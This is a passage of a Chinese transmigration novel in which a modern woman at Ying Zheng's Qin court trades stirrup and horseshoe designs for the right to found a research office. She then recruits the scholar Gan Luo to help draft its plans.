这种时候再说她就是楚荍这种已经没有任何意义，从她不断搞出各种新奇玩意的时候，她就知道迟早会有这么一天。
这样可疑的行径，别人自然会怀疑。
“还是说，你是楚国的细作？”
嬴政接着追问，手指敲着桌面的声音像鼓点一样压迫着楚荍的心。
楚荍深吸口气，清脆的声音落下，将嬴政一惊。
“王上，我可自证。”
她无奈苦笑，果然她准备的那些说辞都没用。她从袖中拿出那块已经皱巴巴的布帛，上前献给嬴政。
布帛上是马镫和马蹄铁。
这就是她的筹码。
殿内灯火晃动，照出两人沉默拉长的影子。
“王上，我就是楚荍。我想要的，是大秦得以存续千秋万代。”
楚荍不急不缓说出这句千钧重的话语。
嬴政手握布帛，垂眸看向楚荍，眼中情绪晦暗不明。
让大秦得以存续千秋万代吗……
楚荍，我能信任你多少呢……
浓黑夜幕彻底笼罩层层叠嶂的宫殿，只剩下微弱的火光在苦苦支撑。
“你想要什么？”
又是一阵沉默过后，嬴政轻敲着桌子问。
“禀王上，”楚荍终于说出这句在她心里百转千回的话。
“还请王上准许妾出宫开府。”
楚荍深深跪伏在地上。
她所要交换的，是权力。
24.第二十四章 难题
清早，天刚蒙蒙亮。空气中还有些冷冽的朝气。
楚荍刚从嬴政宫里出来，现在正准备往扶苏宫里去。她一夜未眠，现在头疼得很。明明身体上很疲惫，但是精神上却很兴奋。各种想法混在一起，她头都要炸了。
现在睡是睡不了，先回公子那里吧。等扶苏去读书了，她再回房休息。
路上，她看着系统里嬴政对她的好感值，经过昨晚一晚，才可怜兮兮地从5点涨到20点。扶苏、李远、卫兰他们对她初始好感度都是30点，这个月她把政哥的好感条开出来发现初始值只有5点的时候，心都凉了。有那么一瞬间她都要以为是系统出错了。
唉，昨晚能涨个15点她就偷着乐吧！那可是政哥啊，她什么档次还期望走近政哥心里吗？
但是，唉！楚荍又忍不住叹了口气。
天渐渐亮起来，太阳已经悄悄爬上东边，这会儿扶苏差不多要起来了。她加快脚下的步伐，往扶苏宫中赶去。
殿内，楚荍正在服侍扶苏用饭。
“姑姑，这已经是你这会儿第十声叹气了。”扶苏无奈地放下筷子，又一脸纠结地说，“如果你实在不想当父王的女人，我可以去求求父王。”
啊？
啊！咳、咳、咳！
楚荍被扶苏的话吓到瞪大眼睛，想说话又被自己的口水呛到，把自己咳到满脸通红才缓过来。她扶着桌子大口喘气，一大早就把自己搞得这么狼狈，真有她的啊。
她现在甚至不知道要摆什么表情来应对扶苏这句话。
“公子为什么会这么想？”楚荍强撑起笑问道，六岁小孩儿到底为什么会知道这种东西啊喂！
见楚荍问他，扶苏的眉头皱得更紧，半饷才说道：
“夏时告诉我姑姑昨晚在父王宫里待了一晚上。我见过很多女人和父王共度一晚之后，第二日就被封了品阶。”
闻言，楚荍瞥了一眼夏时。这人平常锯嘴葫芦一个，这事跟公子说得倒快，难不成还在记恨将闾公子那次她笑他走神那事儿？
越看夏时在一边事不关己，毫不关心的模样，楚荍就越觉得是他。别看“淡定哥”总是一副低眉顺眼、人畜无害的样子，其实小心眼多着呢。
唉，楚荍没忍住又叹了口气。头也开始疼了起来。
都说没娘的孩子早熟，扶苏不也是如此。后宫这些龌龊的事情，耳濡目染之下没人教却也知道的一清二楚。
“公子误会了，”楚荍勾起嘴角，耐心解释道，“昨晚我是在大王书房里与其商议国事。”
“真的？”
“嗯，真的。”
楚荍摸摸扶苏的头，让他安心。她想了想，还是没有把昨夜的事告诉扶苏，等过几日吧。过几日她找个好机会，再原本本把事情告诉他。
昨晚，在听到楚荍索要的只是权力之后，嬴政甚至比她想要中还要爽快地就答应了她的请求。
毕竟，用一点权力来掌控人心的游戏，他还从未失手。
而且，楚荍拿出的筹码确实足够丰厚。
马镫和马蹄铁，看起来只是简单的小玩意儿，但嬴政一眼就看出来这两样东西的重要性。
马镫，其实就是挂在马鞍两边铁制脚踏，它能够很好地帮助马背上的士兵进行前后左右的转向。
在没有马镫之前，骑兵在颠簸的马背上既要操纵兵器作战，又要分心控制马的转向。要同时做到这两件事情是很难的，特别是在战场上稍有不慎就会丧命。
所以马镫这件辅助工具的重要性也就不言而喻了。如果士兵能专心致志在马背上拉弓射箭、挥劈砍刺，而不用担心自己会被颠下马，战斗力自然也会提升好几个档次。
马蹄铁则是相当于给马穿了一双铁鞋。就跟人一样，穿了鞋子之后对脚的磨损就会减少。而马匹也是一样，穿上马蹄跌之后会大大降低在跑动时对马蹄的损伤。也能大大提高马匹的存活率。
秦国本身就是养马起家，他们不仅会养马，更对是养马的成本一清二楚。将一匹马驹养大，并将其训练成战场上英勇的战马，价格是非常高昂的。现在有马蹄跌能够大大提高马匹的存活率，相当于把成本也降了一部分下来。自然也是大好事。
楚荍拿出的这两样的东西，不夸张地说，能让秦国的骑兵战斗力翻一番。
相应的，楚荍要交换的只是权力，又有何不可呢？
早朝过后，嬴政书房内。
他睁开惺忪的双眼，身上是不知什么时候宫人为他披上的毯子。他直起身子，背上的毯子也随之滑落。他竟然在批阅奏章的时候不知不觉睡着了。现在已近中午。
昨晚，他在答应楚荍的请求之后，两人彻夜长谈。
楚荍跟他解释了很久自己为什么要“出宫开府”，语无伦次地说了很久。
他本以为楚荍是为了权力，为了她在扶苏身边待久之后滋生出的野心，亦或是为钱财和荣华富贵。但听完她语无伦次、结结巴巴的长篇大论之后，他却惊讶地发现楚荍是真的想让大秦得以存续千秋万代，实现扶苏让百姓吃饱穿暖的梦。
隐藏在交换权力表面之下的，不是阴谋诡计、不是野心欲望，而竟是是一颗赤子之心。
嬴政惊讶过后却是默然。这是他第一次与楚荍深谈，他这才发现自己之前把楚荍想得太复杂了。
楚荍简直不要太单纯，所有心思都写在脸上。他都不用去套话，她自己就毫无保留地将所有事情、她的所有想法，全都一股脑告诉了他。
不过当然，昨晚楚荍提出来那些想法他也很感兴趣，甚至都被她提出来的那些设想弄得有些兴奋起来，不然也不会与她彻夜长谈了。
这还是生平第一次他与女人一起过夜，竟然只是谈国事的。不过现在回想一下，还挺有趣的。
不过楚荍昨晚提出的每一个想法都非常耗钱，而且几乎都无法在短时间内得出成效。
他现在是真的非常好奇，楚荍这样的人到了朝堂之后会怎么样呢？这样的小白兔，立马就会那群豺狼虎豹生吞活剥的吧？
他给了楚荍七天时间，让她把她那些漫无边际的想法整理成可以确切实行的政策。她索要的权力要量化成官职，那些设想每一步要如何实行都要落成文字，包括成本和效益，通通要写清楚。
这也是为什么楚荍一大早就长呼短叹的原因。
她这辈子长这么大，除了在大学里参加组织过几次大型活动，
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而且也都是帮忙。她连策划案都没写过一个。
虽说她原本想着是如果她一直待在扶苏身边做这个掌事姑姑，那她就根本没办法做更多的事。如何让百姓吃饱穿暖，就算她有很多想法，但手中毫无权力，那就跟做白日梦没区别。
但是现在，嬴政答应给予她权力，她却又开始发怵起来。
原因无它，楚荍从未掌过权力，大学里住的是四人寝，没参过什么社团，甚至毕业后当老师在学校里也只是个小透明，连稍微复杂的人际关系都没处理过。
现在真的让她掌一官之职，她不发怵才怪呢。而且政哥只给了她七天时间，她真能让自己这些想法落地吗？
唉，楚荍又叹了口气，翻了个身，强迫自己闭眼入睡。
她已经在床上这样翻来覆去好久了，就是睡不着。但是脑袋又跟要爆炸一样的疼！
最后，她迷迷糊糊又再眯了半个时辰
就在她身体疲惫撑不住要睡着的时候，突如起来的敲门声又把她给吵醒了。
她猛得睁开眼睛，一瞬间感觉自己的心脏都要从嘴巴里跳出来。
“来了，”楚荍应了一声，痛苦地起身去开门，“怎么了？”
“姑姑，甘罗先生来了。”宫人向她禀报。
闻言，楚荍一愣，这个点甘罗来干什么？如果是找公子，不应该去偏殿吗？
楚荍抬手揉了揉自己的太阳穴，刚要睡着又被吵醒，自己这个脑子真要宕机了。
“好，我知道了。我换身衣裳就去，请夫子先等一会儿。”
“是。”宫人应下之后，便遵着楚荍的吩咐去招待甘罗。
楚荍简单洗了个冷水脸，稍微清醒了一些，又换了身衣裳，这才去了前殿。
“夫子，您怎么这会儿来了？”楚荍强打起精神 ，强撑笑着问道。
“我来送个东西。”甘罗拍了拍他手边的木箱子。
“这是何物？”
楚荍看着这偌大一个箱子，也几分好奇起来。
“我编了一本棋谱，前来送给公子。”
随甘罗打开箱子的动作，楚荍也看清了里面满满当当堆满的竹简。
一瞬间，楚荍简直是哭笑不得。她虽知道甘罗爱象棋，时不时就给扶苏留个残局。但没想到这才半年时间，连棋谱都编出来了。
“夫子还真是棋痴，楚荍佩服。不过夫子怎么不直接送去偏殿？”
哼，甘罗轻哼了一声，一脸这你还问我的模样。
见状，楚荍这才想起来今日扶苏那边是淳于越在上课。两人向来不对付，甘罗一直看不惯儒家那套。
有一次两人碰上，楚荍第一次直观看到了读书人之间的群枪舌战，简直精彩。她一直在旁边津津有味看完了全程。最后还是扶苏出来劝的架。
“不过你是怎么回事，脸色这么差？”
“哦，我没事。多亏夫子昨日的建议，我已经将那件事说出来了。”
“那为何还......”
楚荍摇摇头，苦笑道：“那件事虽解决了，但又有了新的难题。”
闻言，甘罗皱了皱眉，问：
“你这个难题，我能帮上忙吗？”
25.第二十五章 盟友
楚荍不是没查过甘罗。
这位在十二岁时就惊才艳艳，甚至被拜为上卿的少年天才，如今的境遇甚至比不上当初的自己。
自那次扶苏邀请甘罗对弈之后，楚荍对他也好奇起来。十二岁之后再无历史记载，连结局都没能留下只言片语。
但现在楚荍能直面曾经流逝在时间长河的历史，她自然不会放过这个机会。所以她让人简单查了一下。
甘罗十二岁那年，他的爷爷甘茂去世。他虽在那一年大展拳脚，被拜为上卿，但他毕竟只是一个十二岁的小孩。众人虽会惊叹于他的才华，同时也为他套上年龄的枷锁。
更不谈他还是吕不韦手下的门客，嬴政借嫪毐一事将吕不韦的势力连根拔起时，自然也将他的上卿之位一并免去。但见他年龄尚小，并未取他性命。
此事过后，甘罗称病闭门谢客，一直到前年要给扶苏选老师的时候，嬴政才想起来还有这么个人。
嬴政想着他和扶苏一样都是天资聪颖，说不定教起来会事半功倍。于是就派他去给扶苏当老师，顺手给他安了个闲散官职。
楚荍见甘罗主动提出要帮自己，不仅没有松了口气，反而皱起眉反问道：“夫子为何要帮我？”
若说昨天只是碰见后顺便开解自己两句，那今天呢？又为何要帮她？
她二人根本没有这种交情，两人关系仅仅只停留在认识而已。
没想到甘罗丝毫没有因为楚荍不客气，甚至是带有□□味的反问生气，而是笑着说：“你不是说我是棋痴，忘记是谁研制的象棋了？”
听完甘罗的解释，楚荍愣了一下，她没想过是这个原因。
或者说仅仅是这个原因。
瞬间，楚荍就因为自己刚刚对甘罗发的无名火感到愧疚。
啊啊啊——她到底在做什么啊，明明人家是想帮她。
“抱歉，我昨晚没休息好，有点控制不住自己的脾气。”楚荍扶着额十分抱歉地说。
“嗯，也看出来了。”甘罗笑着指了指她的脸。
“又这么明显吗？”楚荍苦笑一声，用双手揉着自己的脸。如果这里有镜子的话，那现在自己眼下肯定是两个大大的黑眼圈。
闻言，甘罗点点头，起身向她道别，“既然如此，我就不打扰你休息了。等公子回来，你帮我把棋谱转交给公子就好。”
楚荍也跟着起身，其实她刚刚想了一下，如果甘罗愿意帮她，那她其实也可以找个盟友。可话到嘴边却变成了一句“夫子不再坐坐吗”的客套。
“不了，”甘罗摇摇头，“你好好休息吧。”
“好，那我送送夫子。”
楚荍没再坚持，她可以找个盟友，但不能现在决定。从昨晚到现在一直没睡，她的脑子现在跟浆糊没区别。而浆糊脑袋是不能做决定的。
更不要谈这种需慎之又慎的事。
送走甘罗之后，楚荍就回了房间休息。还吩咐其他宫人，只要不是天塌下来了，别叫她。
她的身体已经到了极限，所以几乎是倒下就睡着了。
楚荍这一觉睡得很香，再睁眼时已经是第二天早上。
外面天还黑着，楚荍估计现在也就早上五点吧。她一天没吃东西，现在肚子已经饿得咕咕叫了。
她起身在房间转了一圈，悲伤的发现除了桌上半个硬掉的馒头，没有别的吃的了。
虽然她要饿死了，但她不会在一早上吃冷馒头的。这完全不符合她的吃货哲学。
所以楚荍最后决定去膳房觅食。
等她饿着肚子走了一万年终于走到膳房的时候，天已经亮了。
“郑大哥，”楚荍高喊了一声，“有吃的吗？”
正在准备各宫早膳的郑威听见声音，回头一看发现是楚荍，立即也大声喊道：“哎呦，楚妹子，这么早？”
“刚磨出来的热豆浆和蒸好的包子，在笼屉里你自己拿。”
“诶，好嘞。”
闻言，楚荍也没客气，拿好自己那份，就端到膳房外的院子里坐着吃了。
一口热豆浆下肚，暖意在五脏六腑从传开，楚荍感觉自己简直立马就活了过来。
膳房里师傅们热火朝天干活的声音成了白噪音，楚荍一口包子一口豆浆，不知觉见神游天外。还是郑威喊她才回过神。
“怎么了，郑大哥？”楚荍回过神懵懵地问。
郑威将食盒提起放到桌上，笑着说：“问你要不要吃完后把公子的早膳带回去。”
“好啊，”楚荍点点头，咽下最后一口包子，起身拎起食盒，“那我就先回去了。”
不知道是不是因为睡足吃饱，楚荍感觉自己脑子现在十分清明。很多昨天没想明白的事情，现在很快就想通了。
不多时，楚荍就回到了扶苏寝宫。
“姑姑睡好了？”扶苏笑着揶揄，他已经起来洗漱完了。
“嗷，可不是，还得多谢公子昨晚回宫后没有把我叫醒之恩。”楚荍也笑着打趣回去，她现在心情不错。
“嗯嗯，不谢不谢。”扶苏笑着摆手。
楚荍见状挑了挑眉，立马就猜到了扶苏心情这么好的原因，“公子可是看到了甘罗先生送来的棋谱？”
闻言，扶苏点点头，“昨晚一回来就看到了。夫子写得真好，不仅棋谱内容很多，而且详实有趣，深入浅出。我昨夜看到很晚才睡呢。”他非常真心地夸赞道。
“真有这么好？”楚荍有些狐疑地问。在她的印象里，棋谱难道不就一盘残棋，然后旁边再写一些破局的思路就完了吗？有好到用这么多词来夸？
扶苏看出自家姑姑的疑虑，直接抓起手边的一卷竹简递给她，“不信姑姑自己看。”
楚荍放下为扶苏布菜的筷子，接过竹简，半信半疑地展开看了起来。
结果不看不知道，一看吓一跳。扶苏说的没错，这棋谱，还真他娘写得好！
正常棋谱和楚荍印象里是一样的，但是甘罗写的这部象棋棋谱，掺杂了太多他自己的所思所想。
每一局残棋都对应着不同人生境遇，每一步破局的棋都有因有果。甘罗用着或诙谐、
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或幽默、或锐利的话语，以身入局，以棋盘为天下，畅快地在其中挥斥方遒。
扶苏说的没错，甘罗这棋谱确实写得极好。而且能看出是原始的手稿初版，少年意气的锐利都要溢出来了，里面有些话尖锐到楚荍都要为他捏把汗。
扶苏已经吃完早饭，看见楚荍跟他昨晚一样痴迷地看着这本棋谱，又想起刚刚自家姑姑怀疑的样子，没忍住笑了出来，“姑姑，我说的没错吧。”
“姑姑？”
扶苏又叫了一声，楚荍才如梦初醒。她慌忙起身，拎起裙子就往外跑，手上还拿着那卷竹简，只留给扶苏一个背影和一句话：
“公子，我有事出去一趟！”
叩！叩！
楚荍抬起的手犹豫了一下，但很快就敲响了甘府的大门。
敲完门后半天都没人来应门，不会不在家吧？楚荍有点悲催地想，她可是专门出宫来找甘罗的。
她没有放弃地又用力敲了几下，说不定是府邸太大，门房又刚好不在，所以没人没听见呢。
果然，这次门后很快就传来脚步声。
太好了，有人在家。楚荍松了口气。
吱呀——老旧的木门随着这声响被人打开了条缝，里面露出一个小童干净的面容。
“你是谁？”她问。
“我是公子身边的人，找甘罗先生有急事，麻烦你通报一声。”楚荍扬起一个自以为十分温柔的笑容。
结果人家小女孩只是很冷淡地看了她一眼，就重新关上了门。
不过很快，甘罗就为她打开了大门。
“楚荍，你怎么来了？公子出事了？”甘罗边把她迎进来边问道，语气也带上了一丝疑惑。
“跟公子没关系，”楚荍摇摇头，“是我的急事。”
“夫子昨日说可以帮我，不知这句话还作数吗？”
没想到甘罗没说答不答应，倒是把她昨天那句话原封不动还给了她，“为何是我？”
楚荍被他这话噎了一下，但也知道他是在开玩笑，也赶紧求饶道：“不知我要做些什么才能求得夫子的原谅？”
“呵呵，那倒不用了。”甘罗微微一笑，将此事轻轻揭过。
路上，直到甘罗的书房前，两人没再讲话。
楚荍默不作声地观察着曾经辉煌一时的甘府。甘罗的爷爷位极秦国左丞相，他自己也被拜为上卿，虽然现在甘家已经落败，但仍然能从这座曾经的丞相府邸看出其当初的盛极一时。
不过处处丛生的杂草，砖石木板的剥落腐败，不知多少间空屋子透出来的黑暗，都让楚荍莫名感觉有些阴冷。
宅子的荒凉落败，让楚荍有些不敢相信甘罗竟然敢自己一人住在这里。
虽然这样说有些不礼貌，但这里真的很像鬼屋！她最怕这些东西了啊。
“夫子是自己一个人住在这里吗？”楚荍打量着四周的环境，有些战战兢兢地问。
“当然不是，还有我呢，我会一直陪着先生的！”
刚刚给她开门的小女童突然出声说道。
26.第二十六章 坦白局
上明是甘罗捡来的，是在一次草原雪夜中捡来的。
那日甘罗正在账中休憩，突然听到啼哭声，掀开账帘一看，四处无人，只有雪地里的一串脚印消失在黑夜里。他发现地上襁褓中的婴儿。襁褓中还放着一块木牌，上面刻着“上明”二字。除此之外，别无二物。
此时婴儿已被冻的面色发紫，没办法，甘罗只能先把她抱回账中取暖。
再后来，上明就被他带回了咸阳。
一向深居简出的甘罗，竟从草原上带回一个女婴。此事还在咸阳城中引起过一段时间的热议。
当然，楚荍对这些全然不知。
“原来是这样。”
听完甘罗的解释，楚荍了然地点点头。不过看上明又把头偏向一边冷淡的样子，显然是因为甘罗又随意和外人介绍她的身世而生气。
明明上一秒还在说要一辈子陪在甘罗身边，下一秒却又因为生气故意不理他。
啊，真是可爱又漂亮的孩子呢。楚荍强忍住想去揉上明一头天然卷脑袋的想法，没办法，谁让上明看起来不是很喜欢她呢。
到了甘罗书房之后，上明奉上酒水之后就退了出去。
书房和卧室是联通的，中间做了一个简单隔断。房间很大，用来作书房和卧室绰绰有余。但随处可见的竹简，将书房堆的满满当当，立马就显得逼冗起来。
“可要尝尝？李婆米酒，在咸阳城中很有名的。”他笑着问，好似一点都不好奇楚荍提的那件急事是什么。
“那我就恭敬不如从命了。”
楚荍捧起碗，米酒是热的，入口是醇厚酸甜的酒香，丝毫没有酒精的苦涩味，确实很好喝。不过就是味道怎么有点熟悉，和宫里的好像。
她有点疑惑地看向甘罗，正准备开口问时就听到他说，“听公子说你平日爱喝这个，特意叫人买的。”
特意让人买的？楚荍一愣，问道：“夫子知道我今天会来？”
没想到甘罗又是一指她的脸，然后点点头。
见状，楚荍嘴角抽了抽，有点无语。这是什么意思，怎么，她的脸是无字天书，只有聪明人才能看到字是吧。
“昨日我说要帮你，你第一反应不是拒绝我的帮助，而是反问我为什么要帮你，这说明你确实需要人的帮忙。”
“而且你昨日没休息好，神志并不清醒。同时脸色也非常差，明显被此事困扰。说明这件事对你而言很重要，同时解决起来也有难度。”
“所以我猜想等你休息好后，这几日应该会来找我，或者蒙将军。”
“不过你来的这么快，我确实没想到。”
甘罗也捧着碗喝了口米酒，脸上一副了然于心的微笑，“而且这家米酒我也确实爱喝，家中常备，今日也算是巧了。”
说实话，楚荍看着甘罗脸上这笑很想给他脸上来一拳。怎么看这笑都感觉贱贱的，呵。
不过她和蒙恬关系好倒是人尽皆知了，那看来她的努力还是有点效果的。
她心里清楚，如果她不是穿越过来的，有着超越时代的认知和知识，她绝对会被这群高智商的大佬们给玩死。
但是哪又怎么样呢，她迟早会一个一个把这群大佬拉上她的贼船。
等上了贼船，大家都是一根绳上的蚂蚱，那她蠢点就蠢点吧，反正有大佬们给她兜底。
再说，她不蠢点，怎么衬托出大佬们的英勇神武！
“夫子为何将棋谱送给公子？”
楚荍没接甘罗的话茬，又喝了一口米酒，问了一个毫不相关的问题。
甘罗闻言脸上淡然的笑露出一丝破绽，握住碗的手也悄悄收紧，“夫人这是什么意思？”
见甘罗称自己夫人，楚荍嘴角一勾，哼哼，戳心窝子谁不会啊。
甘罗和楚荍同岁，今年都是二十二岁。而且两个人经历刚好相反，楚荍是寡妇但没孩子，甘罗虽然没结婚，但是无痛当爹。
他这声夫人，无疑把两人刚融洽一些的关系又给拉远了。
“今早公子将夫子的棋谱拿给我看，我只粗略看了几眼，便觉惊为天人。虽说公子爱棋，但是朝中爱棋之人不在少数，李廷尉，蒙将军，王将军，包括大王皆是爱棋之人。而夫子却将棋谱珍贵的初稿给了公子。”
“我只有有点好奇，难道仅仅是因为夫子是公子的老师？”
楚荍微微睁大眼睛，摆出一个刚刚好疑惑的表情。
她今早看的时候就发现了，里面有很多他自己的政治思想。
这样一部棋谱，显然是他政治生涯的敲门砖。但他却把这部棋谱送给公子，其目的不言而喻。
对于大王而言，他是曾经吕不韦手下的门客，十二岁就被废弃。如今想要再次起复，有这个身份在，也只会像现在这样，谋个闲散官职度日已经是大王对他的高抬贵手。
再者，他虽是扶苏的老师，但这个身份真没什么特殊的。无他，扶苏的老师有点太多了。
如今朝堂上还没被大王指去给公子讲过课的官员，那是要被其他人鄙视的。这说明这人做官做到现在一件拿得出手的政绩都没有，岂不是要遭人鄙夷。
公子如今虽小，但未来已经清晰可见。扶苏虽有十几个弟弟，除了还没出生的，没有人能和他争。不仅仅是大王的宠爱看重，更是自身的能力。
再过十年，公子十六岁时，必然要组建自己的班底。那早早就在他身边，又是自己老师，更有能力的甘罗，自然就成了首选。
待到扶苏接过江山之时，那才是他进入朝堂，真正挥墨自己才华的时候。
楚荍想起自己初见甘罗时，还觉得他的色彩很“平淡”。现在再看，这些平庸不过是他装出来的伪装罢了。
“自然是因为如此，不然还能因为什么。”甘罗依旧笑着说。他很快就调整了表情，刚刚那一丝破绽被他修复，露出一个无懈可击的微笑。
“夫子不必跟我绕圈子，我今日来确实是想请你帮忙。”
“只是在上我这条贼船之前，我二人还是稍微坦诚些的好。毕竟我这条贼船，上来可就下不去了……”
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“除非翻船。”
随着楚荍的话音，她将手上的碗不轻不重地放到桌上，落下清脆的一声。
“夫人这话说笑了，想让我上船，夫人也得拿出足够的筹码来才行。”
甘罗顿了一下，说道。现在，他也得承认，楚荍比她看起来的样子还是要聪明那么一点点。既然如此，那他二人也没必要接着绕圈子了，不然只是浪费时间。
“夫子这话爽快，不过还是叫我楚荍吧。我今年也就二十有二，夫人两字把我叫得怪老的。”
楚荍轻轻一笑，接着说道：“前日夜里，我去见了大王，并向他索取了一样东西。夫子猜猜是什么？”
闻言，甘罗的表情怪异起来。
晚上，孤男寡女，向大王索要了一样东西，还要他猜？
这他要怎么猜？
甘罗的思维跳的很快，表情也扭曲起来。
楚荍见甘罗不说话，表情也怪怪的，立马就知道他误会了。
“夫子，你想什么呢！我跟大王索要的是权力，让他准许我出宫开府！”
她很快地说完，脸也奇怪地红了起来。
闻言，甘罗却突然变了脸色，皱着眉十分认真地问：
“大王允许你出宫开府，这是什么意思？”
“呃，就是字面意思？”楚荍有点没理解，疑惑地反问。
开府是指官员能够建立府署，并自选随员。只有三公才有权利开府，也就是丞相、太尉和御史大夫才可开府。
楚荍到底拿出了什么筹码，竟让大王答应能够答应此事。甘罗的喉咙有些发紧。
“我是说，你拿出了什么筹码？”他问。
“夫子想好了，我若告诉你，那我这条贼船你可就非上不可了。”
楚荍也正了神色，“我今日前来，不是别的，正是因为我读了先生棋谱里的文章。先生之才，旷古烁今，不输朝堂任何一位重臣。”
她起身，向甘罗郑重地行了一礼，“若先生愿意助我，荍感激不尽。”
闻言，甘罗心中一震，眼眶不知何时红了起来。
他拦住楚荍向他行礼的动作，“你不必如此。”
“这条贼船，我上了便是。”
见甘罗松口，楚荍立马就直起身，反握住甘罗的手，“真的吗，太好了！”
楚荍的手温暖柔软，甘罗的手被她用力握住，暖意不断从她的手中传出，柔软的触感随着她高兴地上下的晃动摩挲，好像把甘罗的心也晃了起来。而且他的心不知为何还痒痒的，似有羽毛划过。
“真的，”甘罗悄悄把手从楚荍手里抽出来，“现在可以把此事的全貌告诉我了吗？”
“当然当然，夫子快坐。”楚荍高兴地说，完全没注意到他已经红透的耳朵。
她坐下来之后，很快就将此事的前因后果，自己要做的事情，和她为什么要向甘罗寻求帮助的原因都告诉了他。
在听完这些事之后，甘罗才真的明白，楚荍这条贼船，上了可能真的下不来了。
27.第二十七章 初步设想
“所以，现在的问题是，你要组建的官署不仅要人要钱，而且短时间内还出不了成效。”
甘罗听完楚荍的大致构想，精准地提出问题所在。
即便是他，也忍不住为楚荍设想的天下倾心。
天下之民和为大同，兵戈止息，无饱暖之忧，无奸人之祸。民皆众悠乐乐，晦暗阴翳之日远矣。
所有人都能吃饱穿暖，再也没有战争，血与火的日子离去，明亮光明的世间来临。
若百姓皆能过上这样的日子，那为此付出的一切代价都是值得的。
而且楚荍并不只是说说而已，她确切提出了许多行之有效的办法。
楚荍的初步设想，集中在农、工、医三个方面。
在农业上，她所设想的长期目标出研究出杂交水稻，解决百姓的口粮问题。与此同时，育种、选种、防虫、灌溉等等一些能够提高产量的工作都要同期开展。
手工业上，她准备开设不同工坊，攻克不同技术难题，用以辅佐各行各业的生产。比如在农业上，“犁”能否升级更新，提高翻地效率；同时“纸”的制造，提高文字书写效率等等。
而医学上，则是尽可能将现在发病率高，致死率高的伤病研制出低成本，易推广治疗方案等。
这些设想如果要落地，不仅耗钱，还需要招揽大量的人才，才有可能推进。
但偏偏这些利国利民的长远之计，短时间内很难出成效。如果一样东西花着大量民众的税收，但出不了成果，是很难坚持下去的。就算大王支持，国家财政也很难支撑。
“我想着，不如我们先一项项讨论哪些想法可行，确定可行的想法之后，再确定如何去落实。最后，再来考虑钱的问题。”
楚荍给自己倒了杯水，一饮而尽之后说道。
她说了快半个时辰，嗓子要冒火了。
闻言，甘罗点点头表示赞同。楚荍这些想法虽然好，但是还有很多细节去商讨。
就比如楚荍在农业上的想法，听起来美好，但是要怎么去实现呢。百姓们都会种地，难道随便拉一个农夫就能做这些事吗？这些人才从哪里来，有了人之后钱怎么花等等这些问题，还需要两个人进一步的商量。
而且其实对秦国财政，人才储备，官署设置等等这些事情楚荍都可以说是一头雾水，她完全不了解这些事情。
若是只有她自己，那她这些想法怕真是要胎死腹中了。
还好现在有甘罗帮她。
第一夜，两人点着油灯彻夜长谈，边谈还要便把商量好的事情记在竹简上。他们几乎没睡，但精神上丝毫不觉疲惫。
天蒙蒙亮的时候，两人才裹着床褥，在书房里囫囵睡了几个小时，就又起来接着商讨睡前商量的事情。
扶苏见楚荍出宫后彻夜未归，十分担心，第二日便特意派夏时来寻她。
楚荍见到夏时，就知道扶苏肯定很担心她。但她现在暂时还不能回去，她没有多少时间了。
嬴政说给她七天时间，她先是睡了一天，这就只剩下六日。昨天又过去一天，只剩下五天，但她和甘罗甚至连在农业上的方案都才只讨论完了三分之一。
她嘱咐夏时一定把公子照顾好，让公子别担心，等过几天她这边事了就回去给他个解释。
夏时走后，楚荍就又马不停蹄地转回去做事。
就这样，两人废寝忘食几天，总算是拿出了这份初稿。写满方案的竹简整整装满了一个木箱。
“对了，你既要开府，可想好官署名字了？”
甘罗捧着饭碗，突然问道。
“名字，倒是有一个，就叫‘格物府’如何？”楚荍放下筷子，沉思了一会儿之后说。
“格物府？可是取自《小戴记》中‘致知在格物，物格而后知至’一句？”甘罗思索了一下之后说。
“呃，正是正是。”楚荍闻言一愣，胡乱点头道。她只知道“格物致知”这成语，刚刚甘罗是念了一句咒语吗？她怎么听不懂。由于几天没休息好，楚荍的脑子又开始罢工了。
“格物，穷尽事物之理；而后致知，从而习之知识。格物而致知，正是我们所做事情的内核”
“好名字，好名字！”
甘罗自己琢磨一番，突然拍手叫绝。楚荍被他莫名其妙夸了一通，都还有些懵。
其实她本来准备叫“秦科院”的，全名“秦国科学研究院”，抄袭的中科院。但是她后来又一想，还得解释科学是啥意思，她就放弃了。
不过“格物”这名字也不错。而且是越琢磨越觉得不错的那种。
在甘罗家中吃完午饭后，楚荍就准备带着这份初稿回宫觐见政哥。
“夫子，你真的不跟我一起去拜见大王？”楚荍又一次问道。
“不了，你去吧，我在家等你的好消息。”甘罗将手中木箱递给楚荍，笑着摇摇头。
这份充满两人心血的初稿，由楚荍交给大王即可。现在暂时还不需要他的出面。
“参见大王。”
宫人通传之后，楚荍上前觐见行礼。
“您要的东西我准备好了，还请大王过目。”
她手中木箱由宫人移交到嬴政桌上。
没成想嬴政并没有第一时间翻看，而是放下自己手中的竹简，抬眼问道：“你这几日都在宫外？”
“回大王，是。”楚荍有些紧张地答道。
虽然政哥知道她的行踪很正常，但是政哥这么问是有什么用意吗？
总不能是因为她去找甘罗帮忙这事吧。政哥自己都让他去当公子的老师了。
楚荍还在那胡思乱想的时候嬴政下了逐客令。
“你先回去吧。”嬴政说道，语气颇有些无奈，“你这几日不在，扶苏都找到我这里了。”
从嬴政宫中退出来之后，楚荍都还没搞懂他政哥这话是什么意思。什么叫公子都找他那里去了，公子不是知道他在甘罗家吗？
“姑姑，大王意思是让姑姑回去好好跟公子解释一下这几日在宫外的事。前几日夜里，公子直接到大王宫里问大王要人呢。”小孟冬不知道什么时候出现在楚荍旁边，悄悄跟她解释道。
只是听完小孟
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冬的解释之后楚荍更疑惑了，她不是没和扶苏解释过她和政哥的关系。就扶苏这聪明劲，怎么可能冒然去大王宫中要人。
这里面肯定有哪个环节出问题了。楚荍十分确定地想。
等回到扶苏宫中，听完扶苏的解释，楚荍才明白小孟冬理解的真相跟事实差得有点太远了。
小孟冬理解的那是什么狗血古偶剧，她是什么香饽饽吗，还公子去找大王要人。他家公子才六岁呢，也要上演这种二男抢一女的狗血玛丽苏戏码吗？
难怪她回宫的路上好多人看她的眼都怪怪的，敢情是谣言已经传开了啊！
我说不是大哥大姐们，这也能信的吗？难怪玛丽苏天龙人在市场上经久不衰呢，原来是大家都爱看啊。
小孟冬跟她解释的已经是这个版本。她简直不敢想，现在在宫人中流传的最新版本会是什么样。
呼，楚荍长呼出一口气，强压下莫名其妙被造谣的怒火，问道：“所以公子是去问大王那晚到底和我说了什么？”
“嗯，”扶苏点点头，“姑姑不在，我就只能去问父王了。”
“那大王说了什么？”
